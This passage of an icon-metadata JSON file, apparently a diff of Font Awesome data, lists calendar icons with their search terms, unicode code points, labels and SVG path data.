0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z" + } + }, + "free": [ + "solid" + ] + }, + "calendar": { + "changes": [ + "3.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "calendar-o", + "date", + "event", + "schedule", + "time", + "when" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f133", + "label": "Calendar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635375, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z" + }, + "regular": { + "last_modified": 1628088634708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-alt": { + "changes": [ + "1", + "5.0.0", + "5.6.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "calendar", + "date", + "event", + "schedule", + "time", + "when" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f073", + "label": "Alternate Calendar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635372, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" + }, + "regular": { + "last_modified": 1628088634706, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-check": { + "changes": [ + "4.4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "appointment", + "confirm", + "correct", + "date", + "done", + "event", + "ok", + "schedule", + "select", + "success", + "tick", + "time", + "todo", + "when" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f274", + "label": "Calendar Check", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635372, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z" + }, + "regular": { + "last_modified": 1628088634706, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-day": { + "changes": [ + "5.6.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "date", + "detail", + "event", + "focus", + "schedule", + "single day", + "time", + "today", + "when" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f783", + "label": "Calendar with Day Focus", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635372, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "calendar-minus": { + "changes": [ + "4.4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "calendar", + "date", + "delete", + "event", + "negative", + "remove", + "schedule", + "time", + "when" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f272", + "label": "Calendar Minus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635373, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z" + }, + "regular": { + "last_modified": 1628088634707, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-plus": { + "changes": [ + "4.4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "calendar", + "create", + "date", + "event", + "new", + "positive", + "schedule", + "time", + "when" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f271", + "label": "Calendar Plus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635373, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z" + }, + "regular": { + "last_modified": 1628088634707, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-times": { + "changes": [ + "4.4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "calendar", + "date", + "delete", + "event", + "remove", + "schedule", + "time", + "when", + "x" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f273", + "label": "Calendar Times", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635374, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z" + }, + "regular": { + "last_modified": 1628088634708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "calendar-week": { + "changes": [ + "5.6.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "date", + "detail", + "event", + "focus", + "schedule", + "single week", + "time", + "today", + "when" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f784", + "label": "Calendar with Week Focus", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635374, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 